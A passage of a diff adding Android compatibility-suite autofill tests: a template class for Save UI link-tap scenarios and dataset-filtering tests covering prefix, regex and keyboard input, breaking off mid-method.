+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+
+import org.junit.Test;
+
+/**
+ * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
+ * tapped by the user.
+ *
+ * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
+ * <ul>
+ *   <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
+ *   <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
+ *       and shown in the same activity.
+ * </ul>
+ *
+ * <p>The overall behavior should be the same in both cases, although the implementation of the
+ * tests per se will be sligthly different.
+ */
+public abstract class CustomDescriptionWithLinkTestCase<A extends AbstractAutoFillActivity> extends
+        AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    private static final String ID_LINK = "link";
+
+    private final Class<A> mActivityClass;
+
+    protected A mActivity;
+
+    protected CustomDescriptionWithLinkTestCase(@NonNull Class<A> activityClass) {
+        mActivityClass = activityClass;
+    }
+
+    protected void startActivity() {
+        startActivity(false);
+    }
+
+    protected void startActivity(boolean remainOnRecents) {
+        final Intent intent = new Intent(mContext, mActivityClass);
+        if (remainOnRecents) {
+            intent.setFlags(
+                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_TASK);
+        }
+        mActivity = launchActivity(intent);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description and then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_tapBack() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, change the screen
+     * orientation while the new activity is show, then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+
+        mUiBot.assumeMinimumResolution(500);
+        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveUiRestoredAfterTappingLinkTest(
+                    PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
+        } finally {
+            try {
+                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            } finally {
+                mUiBot.resetScreenResolution();
+            }
+        }
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_finishActivity() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
+    }
+
+    protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
+    }
+
+    protected abstract void tapLinkThenTapBackThenStartOverTest(
+            PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then re-launches the
+     * original activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_backToPreviousActivityByLaunchingIt()
+            throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then launches a 3rd
+     * activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
+    }
+
+    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    @Test
+    @FlakyTest(bugId = 177259617)
+    public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
+            throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+
+        tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
+    }
+
+    protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception;
+
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(true);
+    }
+
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(false);
+    }
+
+    protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
+
+    public enum PostSaveLinkTappedAction {
+        TAP_BACK_BUTTON,
+        ROTATE_THEN_TAP_BACK_BUTTON,
+        FINISH_ACTIVITY,
+        LAUNCH_NEW_ACTIVITY,
+        LAUNCH_PREVIOUS_ACTIVITY,
+        TOUCH_OUTSIDE,
+        TAP_NO_ON_SAVE_UI,
+        TAP_YES_ON_SAVE_UI
+    }
+
+    protected final void startActivityOnNewTask(Class<?> clazz) {
+        final Intent intent = new Intent(mContext, clazz);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    protected RemoteViews newTemplate() {
+        final RemoteViews presentation = new RemoteViews(mPackageName,
+                R.layout.custom_description_with_link);
+        return presentation;
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(
+            Class<? extends Activity> activityClass) {
+        final Intent intent = new Intent(mContext, activityClass);
+        intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        return newCustomDescriptionBuilder(intent);
+    }
+
+    protected final CustomDescription newCustomDescription(
+            Class<? extends Activity> activityClass) {
+        return newCustomDescriptionBuilder(activityClass).build();
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
+        final RemoteViews presentation = newTemplate();
+        final PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE);
+        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+        return new CustomDescription.Builder(presentation);
+    }
+
+    protected final CustomDescription newCustomDescription(Intent intent) {
+        return newCustomDescriptionBuilder(intent).build();
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) throws Exception {
+        return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText)
+            throws Exception {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(saveType);
+        // Then make sure it does have the custom view with link on it...
+        final UiObject2 link = getLink(saveUi);
+        assertThat(link.getText()).isEqualTo(expectedText);
+        return saveUi;
+    }
+
+    protected final UiObject2 getLink(final UiObject2 container) {
+        final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
+        assertThat(link).isNotNull();
+        return link;
+    }
+
+    protected final void tapSaveUiLink(UiObject2 saveUi) {
+        getLink(saveUi).click();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java
new file mode 100644
index 0000000..0f631a6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java
@@ -0,0 +1,679 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Timeouts.MOCK_IME_TIMEOUT_MS;
+
+import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.MaxVisibleDatasetsRule;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.IntentSender;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.view.KeyEvent;
+import android.widget.EditText;
+
+import com.android.cts.mockime.ImeCommand;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+import java.util.regex.Pattern;
+
+public abstract class DatasetFilteringTest extends AbstractLoginActivityTestCase {
+
+    protected DatasetFilteringTest() {
+    }
+
+    protected DatasetFilteringTest(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
+                        .around(super.getMainTestRule());
+    }
+
+
+    private void changeUsername(CharSequence username) {
+        mActivity.onUsername((v) -> v.setText(username));
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+
+        // Delete some text to bring back 2 datasets
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown again
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter_injectingEvents() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        sendKeyEvent("KEYCODE_DEL");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        sendKeyEvent("KEYCODE_DEL");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sendKeyEvent("KEYCODE_A");
+        sendKeyEvent("KEYCODE_A");
+        sendKeyEvent("KEYCODE_A");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter_usingKeyboard() throws Exception {
+        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+        assumeTrue("MockIME not available", mockImeSession != null);
+
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        final ImeEventStream stream = mockImeSession.openEventStream();
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Wait until the MockIme gets bound to the TestActivity.
+        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
+        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
+                MOCK_IME_TIMEOUT_MS);
+
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
+        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
+        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        final ImeCommand cmd3 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
+        expectCommand(stream, cmd3, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        final ImeCommand cmd4 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
+        expectCommand(stream, cmd4, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
+        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_nullValuesAlwaysMatched() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Two datasets start with 'a' and one with null value always shown
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // One dataset start with 'aa' and one with null value always shown
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa, b);
+
+        // Two datasets start with 'a' and one with null value always shown
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa' and one with null value always shown
+        changeUsername("aaa");
+        mUiBot.assertDatasets(b);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_differentPrefixes() throws Exception {
+        final String a = "aaa";
+        final String b = "bra";
+        final String c = "cadabra";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, a)
+                        .setPresentation(a, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, b)
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, c)
+                        .setPresentation(c, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(a, b, c);
+
+        changeUsername("a");
+        mUiBot.assertDatasets(a);
+
+        changeUsername("b");
+        mUiBot.assertDatasets(b);
+
+        changeUsername("c");
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(c);
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_usingRegex() throws Exception {
+        // Dataset presentations.
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatsoever",
+                                Pattern.compile("a|ab"))
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_disabledUsingNullRegex() throws Exception {
+        // Dataset presentations.
+        final String unfilterable = "Unfilterabled";
+        final String aOrW = "A or W";
+        final String w = "Wazzup";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                // This dataset has a value but filter is disabled
+                .addDataset(new CannedDataset.Builder()
+                        .setUnfilterableField(ID_USERNAME, "a am I")
+                        .setPresentation(unfilterable, isInlineMode())
+                        .build())
+                // This dataset uses pattern to filter
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatsoever",
+                                Pattern.compile("a|aw"))
+                        .setPresentation(aOrW, isInlineMode())
+                        .build())
+                // This dataset uses value to filter
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "wazzup")
+                        .setPresentation(w, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(unfilterable, aOrW, w);
+
+        // Only one dataset start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aOrW);
+
+        // No dataset starts with 'aa'
+        changeUsername("aa");
+        mUiBot.assertNoDatasets();
+
+        // Only one datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aOrW);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(unfilterable, aOrW, w);
+
+        // Only one datasets start with 'w'
+        changeUsername("w");
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(w);
+        }
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_mixPlainAndRegex() throws Exception {
+        final String plain = "Plain";
+        final String regexPlain = "RegexPlain";
+        final String authRegex = "AuthRegex";
+        final String kitchnSync = "KitchenSync";
+        final Pattern everything = Pattern.compile(".*");
+
+        enableService();
+
+        // Set expectations.
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .build());
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aword")
+                        .setPresentation(plain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "a ignore", everything)
+                        .setPresentation(regexPlain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore", everything)
+                        .setAuthentication(authentication)
+                        .setPresentation(authRegex, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore",
+                                everything)
+                        .setPresentation(kitchnSync, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // All datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // Only the regex datasets should start with 'ab'
+        changeUsername("ab");
+        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter_usingKeyboard() is enough")
+    public void testFilter_mixPlainAndRegex_usingKeyboard() throws Exception {
+        final String plain = "Plain";
+        final String regexPlain = "RegexPlain";
+        final String authRegex = "AuthRegex";
+        final String kitchnSync = "KitchenSync";
+        final Pattern everything = Pattern.compile(".*");
+
+        enableService();
+
+        // Set expectations.
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .build());
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aword")
+                        .setPresentation(plain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "a ignore", everything)
+                        .setPresentation(regexPlain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore", everything)
+                        .setAuthentication(authentication)
+                        .setPresentation(authRegex, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore",
+                                everything)
+                        .setPresentation(kitchnSync, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // All datasets start with 'a'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // Only the regex datasets should start with 'ab'
+        sendKeyEvent("KEYCODE_B");
+        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseFirst() throws Exception {
+        resetFilterTest(1);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseSecond() throws Exception {
+        resetFilterTest(2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseThird() throws Exception {
+        resetFilterTest(3);
+    }
+
+    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
+    private void resetFilterTest(int number) throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        final String chosenOne;
+        switch (number) {
